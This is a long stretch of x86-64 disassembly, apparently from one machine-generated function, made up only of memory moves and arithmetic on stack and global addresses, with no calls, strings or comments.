mov dword [rsp + 0x3b34], eax
movsx eax, word [rsp + 0xd80]
mov rcx, qword [rsp + 0x7148]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179064], ax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x7cd0], rax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
movsx ecx, byte [0x140179037]
add eax, ecx
mov byte [rsp + 0x80], al
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x7448]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x6c48]
movzx eax, byte [rax]
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x7240]
mov rcx, qword [rsp + 0x6b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x74a0], rax
mov eax, dword [rsp + 0x3db4]
mov dword [rsp + 0x3dc8], eax
mov rax, qword [rsp + 0x7788]
mov ecx, dword [rsp + 0x3cbc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cec], eax
mov rax, qword [rsp + 0x72b0]
mov rcx, qword [rsp + 0x7558]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0x71f8]
movzx eax, byte [rax]
mov byte [rsp + 0xcd], al
movzx eax, byte [rsp + 0xc1]
mov rcx, qword [rsp + 0x7618]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017903e], al
movsx eax, word [rsp + 0xc70]
mov rcx, qword [rsp + 0x6c38]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7568]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c90]
movzx eax, word [rax]
mov word [rsp + 0xde4], ax
movzx eax, word [rsp + 0xd8c]
movzx ecx, word [rsp + 0xcb8]
xor eax, ecx
mov rcx, qword [rsp + 0x6d90]
mov word [rcx], ax
lea rax, section..data
mov qword [rsp + 0x7cd8], rax
mov eax, dword [rsp + 0x3cd4]
movzx ecx, al
mov eax, dword [rsp + 0x3c0c]
sar eax, cl
mov dword [rsp + 0x3d40], eax
mov rax, qword [rsp + 0x7690]
mov rcx, qword [rsp + 0x7238]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f68], rax
lea rax, [rsp + 0x7868]
mov qword [rsp + 0x7ce0], rax
mov rax, qword [rsp + 0x6fa0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7320]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x47], al
lea rax, [rsp + 0xdb8]
mov qword [0x14017a710], rax
mov rax, qword [rsp + 0x7248]
movzx eax, word [rax]
mov word [rsp + 0xde8], ax
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
add eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x7000]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd04]
add eax, ecx
mov word [rsp + 0xd00], ax
mov eax, dword [rsp + 0x3db8]
mov dword [rsp + 0x3dcc], eax
mov rax, qword [rsp + 0x72b8]
mov rcx, qword [rsp + 0x7690]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7510]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6db8]
mov qword [rsp + 0x7ce8], rax
mov rax, qword [rsp + 0x7478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cec], eax
mov rax, qword [rsp + 0x7170]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
movsx eax, word [rsp + 0xce0]
mov rcx, qword [rsp + 0x7258]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140179088], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x7cf0], rax
mov rax, qword [rsp + 0x7b58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7920]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x6f80]
movzx eax, word [rax]
mov word [rsp + 0xdec], ax
mov rax, qword [rsp + 0x7c80]
mov rcx, qword [rsp + 0x7898]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a58], rax
mov rax, qword [rsp + 0x7188]
mov eax, dword [rax]
mov dword [rsp + 0x3dd0], eax
mov rax, qword [rsp + 0x78a8]
movzx ecx, al
mov rax, qword [rsp + 0x70a0]
sar rax, cl
mov qword [rsp + 0x7550], rax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x3b64]
shl eax, cl
mov dword [rsp + 0x3d90], eax
lea rax, [rsp + 0x43]
mov qword [rsp + 0x7cf8], rax
mov rax, qword [rsp + 0x7568]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x79c0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a570]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x78d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x71f0]
movzx eax, word [rax]
mov word [rsp + 0xdf0], ax
mov rax, qword [rsp + 0x7b48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7b88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0x6c48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70], al
lea rax, [rsp + 0x7c00]
mov qword [rsp + 0x7d00], rax
mov rax, qword [rsp + 0x6c68]
mov ecx, dword [rsp + 0x3bb4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7958]
mov rax, qword [rax]
mov qword [rsp + 0x7d08], rax
mov rax, qword [rsp + 0x7188]
mov rcx, qword [rsp + 0x6d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7820]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x72f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140179046], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ec8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcd0], ax
mov rax, qword [rsp + 0x6b68]
movzx eax, word [rax]
mov word [rsp + 0xdf4], ax
mov rax, qword [rsp + 0x7870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb8], al
movzx eax, word [rsp + 0xce4]
mov word [rsp + 0xdf8], ax
mov rax, qword [rsp + 0x7698]
mov rcx, qword [rsp + 0x72a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7508]
mov qword [rcx], rax
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x3d5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b34], eax
mov rax, qword [rsp + 0x71c8]
mov qword [rsp + 0x7d10], rax
mov rax, qword [rsp + 0x7658]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x77d8]
mov qword [rsp + 0x7d18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7d18]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7bd8]
movsx eax, word [rax]
mov rcx, qword [0x14017a710]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14017a6d8]
mov word [rcx], ax
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x7d20], rax
movzx eax, word [rsp + 0xcdc]
movzx ecx, word [rsp + 0xc24]
sar eax, cl
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov byte [rsp + 0xce], al
movsx eax, byte [0x14017a4d5]
mov rcx, qword [rsp + 0x6d30]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7a50]
mov byte [rcx], al
mov rax, qword [rsp + 0x7860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7140]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d84]
mov dword [rsp + 0x3dd4], eax
mov rax, qword [rsp + 0x72a0]
mov rcx, qword [rsp + 0x7400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d58], rax
lea rax, [rsp + 0x3c54]
mov qword [rsp + 0x7d28], rax
movsx eax, byte [rsp + 0x86]
mov rcx, qword [0x14017a5e8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a538]
mov byte [rcx], al
mov rax, qword [rsp + 0x7758]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7320]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ab0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd74], ax
lea rax, [0x14017a4e7]
mov qword [rsp + 0x7d30], rax
movsx eax, word [rsp + 0xd80]
movsx ecx, word [rsp + 0xc34]
add eax, ecx
mov rcx, qword [rsp + 0x6b10]
mov word [rcx], ax
mov eax, dword [rsp + 0x3cc0]
mov dword [rsp + 0x3dd8], eax
mov rax, qword [rsp + 0x75a0]
mov rcx, qword [rsp + 0x7ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b68], rax
mov rax, qword [rsp + 0x7b50]
mov rcx, qword [rsp + 0x78a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x72b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3cc4]
mov dword [rsp + 0x3ddc], eax
mov rax, qword [0x14017a520]
movzx eax, word [rax]
mov word [0x14017a718], ax
movsx eax, byte [rsp + 0xb3]
mov rcx, qword [rsp + 0x7018]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a28]
mov byte [rcx], al
movzx eax, word [rsp + 0xdd0]
mov word [rsp + 0xdfc], ax
movzx eax, byte [rsp + 0xa7]
mov rcx, qword [0x14017a658]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a40]
mov byte [rcx], al
movsx eax, word [rsp + 0xd20]
mov rcx, qword [rsp + 0x7000]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc34], ax
lea rax, [rsp + 0x7280]
mov qword [rsp + 0x7d38], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7710]
mov qword [rsp + 0x7d40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7d40]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3bf4], eax
mov rax, qword [rsp + 0x6d10]
mov eax, dword [rax]
mov dword [rsp + 0x3de0], eax
mov rax, qword [rsp + 0x6cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c00]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7318], rax
movzx eax, word [rsp + 0xca4]
movzx ecx, word [rsp + 0xd08]
shl eax, cl
mov word [0x14017a698], ax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x7000]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b40]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xcd8], ax
mov rax, qword [rsp + 0x6e88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
and eax, ecx
mov byte [rsp + 0x90], al
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x7d48], rax
mov eax, dword [rsp + 0x3d74]
mov ecx, dword [rsp + 0x3cd8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x72d0]
mov dword [rcx], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3de4], eax
mov rax, qword [rsp + 0x7508]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6ef0], rax
mov rax, qword [rsp + 0x7780]
mov rcx, qword [rsp + 0x6d70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a10]
mov qword [rcx], rax
lea rax, [rsp + 0x77]
mov qword [0x14017a720], rax
movzx eax, byte [rsp + 0xb6]
mov byte [rsp + 0xd0], al
movzx eax, word [rsp + 0xc4c]
mov rcx, qword [rsp + 0x6f80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7a90]
mov word [rcx], ax
movzx eax, word [rsp + 0xdd4]
mov word [rsp + 0xe00], ax
movsx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0x77f8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x71a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x73b8]
mov ecx, dword [rsp + 0x3d70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7150]
mov dword [rcx], eax
lea rax, [rsp + 0x3c40]
mov qword [rsp + 0x7d50], rax
mov rax, qword [rsp + 0x6d00]
mov rcx, qword [rsp + 0x7888]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7390]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f30]
mov rax, qword [rax]
mov qword [rsp + 0x7d58], rax
lea rax, [rsp + 0xc10]
mov qword [0x14017a728], rax
mov rax, qword [0x14017a700]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77]
add eax, ecx
mov byte [rsp + 0xb2], al
movzx eax, word [rsp + 0xdec]
mov word [rsp + 0xe04], ax
mov rax, qword [rsp + 0x7148]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdbc]
xor eax, ecx
mov rcx, qword [rsp + 0x6ce0]
mov word [rcx], ax
mov rax, qword [rsp + 0x72a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fe8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x93], al
lea rax, [rsp + 0x7a30]
mov qword [rsp + 0x7d60], rax
mov rax, qword [rsp + 0x7380]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7678], rax
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x3de8], eax
mov rax, qword [rsp + 0x6c68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7b20]
mov qword [rsp + 0x7d68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7d68]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x7350]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x65]
and eax, ecx
mov byte [rsp + 0xa6], al
movsx eax, word [rsp + 0xd40]
mov rcx, qword [rsp + 0x70f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a558], ax
movzx eax, byte [rsp + 0xa2]
mov byte [rsp + 0xd1], al
mov rax, qword [rsp + 0x7c88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7248]
mov word [rcx], ax
lea rax, [rsp + 0xc9c]
mov qword [rsp + 0x7d70], rax
mov rax, qword [rsp + 0x7508]
mov rcx, qword [rsp + 0x6d80]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3d38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7638]
mov dword [rcx], eax
lea rax, [rsp + 0x3ccc]
mov qword [rsp + 0x7d78], rax
mov rax, qword [rsp + 0x6d20]
mov rcx, qword [rsp + 0x6c88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c70], rax
mov rax, qword [rsp + 0x79e8]
movzx eax, byte [rax]
mov byte [rsp + 0xd2], al
lea rax, [0x14017901f]
mov qword [0x14017a730], rax
mov rax, qword [rsp + 0x7ac0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc8c]
sub eax, ecx
mov rcx, qword [rsp + 0x7728]
mov word [rcx], ax
mov rax, qword [rsp + 0x7060]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x84]
add eax, ecx
mov byte [rsp + 0xaa], al
lea rax, [0x14017a4e6]
mov qword [rsp + 0x7d80], rax
mov eax, dword [rsp + 0x3c40]
mov ecx, dword [rsp + 0x3c08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7230]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3d80]
mov dword [rsp + 0x3dec], eax
mov rax, qword [rsp + 0x7290]
mov rcx, qword [rsp + 0x6d58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7008]
mov qword [rsp + 0x7d88], rax
movsx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0x7060]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xb2], al
mov rax, qword [0x14017a570]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a680]
mov word [rcx], ax
movsx eax, word [rsp + 0xd40]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7500]
mov word [rcx], ax
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x7d90], rax
movzx eax, word [0x14017a598]
movzx ecx, word [rsp + 0xc8c]
xor eax, ecx
mov rcx, qword [rsp + 0x7850]
mov word [rcx], ax
mov eax, dword [rsp + 0x3c98]
mov dword [rsp + 0x3df0], eax
mov rax, qword [rsp + 0x7300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7100]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7b68]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c00], rax
lea rax, [rsp + 0x3c44]
mov qword [rsp + 0x7d98], rax
mov rax, qword [rsp + 0x7030]
movsx eax, word [rax]
mov rcx, qword [0x14017a570]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x93]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [0x14017a4d6], al
lea rax, [rsp + 0x77]
mov qword [rsp + 0x7da0], rax
movzx eax, word [rsp + 0xd18]
mov rcx, qword [0x14017a628]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd60], ax
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7758]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7158]
movzx eax, word [rax]
mov word [rsp + 0xe08], ax
mov rax, qword [rsp + 0x74f8]
mov ecx, dword [section..data]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cb4], eax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x7da8], rax
mov rax, qword [rsp + 0x7990]
mov rcx, qword [rsp + 0x6e58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6f50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov dword [rsp + 0x3df4], eax
lea rax, [rsp + 0xd88]
mov qword [0x14017a738], rax
movzx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0x6f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7948]
mov byte [rcx], al
mov rax, qword [rsp + 0x7448]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x92]
sub eax, ecx
mov byte [rsp + 0x96], al
mov rax, qword [0x14017a680]
movzx eax, word [rax]
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x7340]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb8]
shl eax, cl
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x6d08]
mov qword [rsp + 0x7db0], rax
mov rax, qword [rsp + 0x7d58]
movzx ecx, al
mov rax, qword [rsp + 0x7468]
sar rax, cl
mov qword [rsp + 0x7338], rax
mov rax, qword [rsp + 0x7c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3df0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7968]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ddc]
mov dword [rsp + 0x3df8], eax
movzx eax, word [rsp + 0xd8c]
mov rcx, qword [rsp + 0x7a90]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14017908c], ax
mov rax, qword [rsp + 0x7da0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x46]
and eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
lea rax, [rsp + 0xdd8]
mov qword [rsp + 0x7db8], rax
movsx eax, byte [0x14017902f]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
movzx eax, byte [rsp + 0xa2]
movzx ecx, byte [rsp + 0xb6]
add eax, ecx
mov byte [rsp + 0x7e], al
mov eax, dword [rsp + 0x3d1c]
mov dword [rsp + 0x3dfc], eax
mov rax, qword [rsp + 0x70d0]
mov rcx, qword [rsp + 0x7b50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7370]
mov qword [rcx], rax
lea rax, [rsp + 0x7440]
mov qword [rsp + 0x7dc0], rax
mov eax, dword [rsp + 0x3c2c]
mov ecx, dword [rsp + 0x3ce8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7820]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x5d]
movsx ecx, byte [rsp + 0x6a]
sub eax, ecx
mov byte [0x14017900d], al
mov rax, qword [rsp + 0x7758]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7010]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8f], al
movzx eax, word [rsp + 0xc6c]
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x7c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7258]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7608]
mov word [rcx], ax
movzx eax, word [rsp + 0xc24]
mov word [rsp + 0xe14], ax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7bc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c20]
mov eax, dword [rax]
mov dword [rsp + 0x3e00], eax
mov rax, qword [rsp + 0x6be8]
mov rcx, qword [rsp + 0x7008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d08], rax
mov rax, qword [rsp + 0x7cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6f40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d58], rax
lea rax, [rsp + 0xcfc]
mov qword [0x14017a740], rax
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0xd3], al
mov rax, qword [rsp + 0x7298]
movsx eax, word [rax]
movsx ecx, word [0x14017a4e4]
shl eax, cl
mov word [rsp + 0xcec], ax
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x7dc8], rax
mov rax, qword [rsp + 0x7490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7d90]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd4c], ax
mov rax, qword [rsp + 0x7a00]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7400], rax
mov eax, dword [rsp + 0x3d60]
mov dword [rsp + 0x3e04], eax
mov rax, qword [rsp + 0x76c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc4], eax
lea rax, [rsp + 0x6e08]
mov qword [rsp + 0x7dd0], rax
movzx eax, byte [rsp + 0x47]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov byte [0x14017901e], al
mov rax, qword [rsp + 0x71a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc2], al
movzx eax, word [rsp + 0xd88]
movzx ecx, word [0x14017a708]
sub eax, ecx
mov word [rsp + 0xd54], ax
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0xd4], al
movsx eax, word [rsp + 0xcd4]
mov rcx, qword [rsp + 0x7568]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [0x140179010]
mov qword [rsp + 0x7dd8], rax
mov rax, qword [rsp + 0x7a98]
mov rcx, qword [rsp + 0x7a30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7378]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3af0]
mov ecx, dword [rsp + 0x3ca4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7d78]
mov dword [rcx], eax
lea rax, [rsp + 0x3c4c]
mov qword [rsp + 0x7de0], rax
mov rax, qword [rsp + 0x7570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x78e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14017a698], ax
mov rax, qword [rsp + 0x6dc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd94]
and eax, ecx
mov rcx, qword [rsp + 0x72e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b28]
movzx eax, byte [rax]
mov byte [rsp + 0xd5], al
mov rax, qword [rsp + 0x6ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x6f80]
mov word [rcx], ax
mov rax, qword [rsp + 0x79d8]
movzx eax, byte [rax]
mov byte [rsp + 0xd6], al
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6ed8]
mov qword [rsp + 0x7de8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7de8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7050]
movzx ecx, al
mov rax, qword [rsp + 0x7c60]
shr rax, cl
mov rcx, qword [rsp + 0x6fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x79b0]
mov qword [rsp + 0x7df0], rax
mov eax, dword [rsp + 0x3dd4]
mov ecx, dword [0x14017a4d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d34], eax
movzx eax, word [rsp + 0xde8]
movzx ecx, word [rsp + 0xd74]
or eax, ecx
mov word [0x140179090], ax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0xd7], al
mov rax, qword [rsp + 0x7650]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbd], al
movzx eax, word [rsp + 0xdb4]
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x6df0]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7560]
mov qword [rcx], rax
lea rax, [rsp + 0x3cd0]
mov qword [rsp + 0x7df8], rax
mov rax, qword [rsp + 0x72f0]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d78], eax
mov rax, qword [rsp + 0x6e38]
mov rcx, qword [rsp + 0x7428]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6da8], rax
lea rax, [rsp + 0xe14]
mov qword [rsp + 0x7e00], rax
lea rax, [rsp + 0xbc]
mov qword [0x14017a748], rax
mov rax, qword [rsp + 0x7bb8]
movsx eax, word [rax]
movsx ecx, word [0x140179054]
sub eax, ecx
mov word [rsp + 0xc50], ax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0xd8], al
mov rax, qword [rsp + 0x72f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x48]
add eax, ecx
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x7430]
mov qword [rsp + 0x7e08], rax
mov rax, qword [rsp + 0x7638]
mov rcx, qword [rsp + 0x7a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ddc], eax
mov rax, qword [rsp + 0x7020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7078]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7690], rax
lea rax, [0x14017a4d0]
mov qword [rsp + 0x7e10], rax
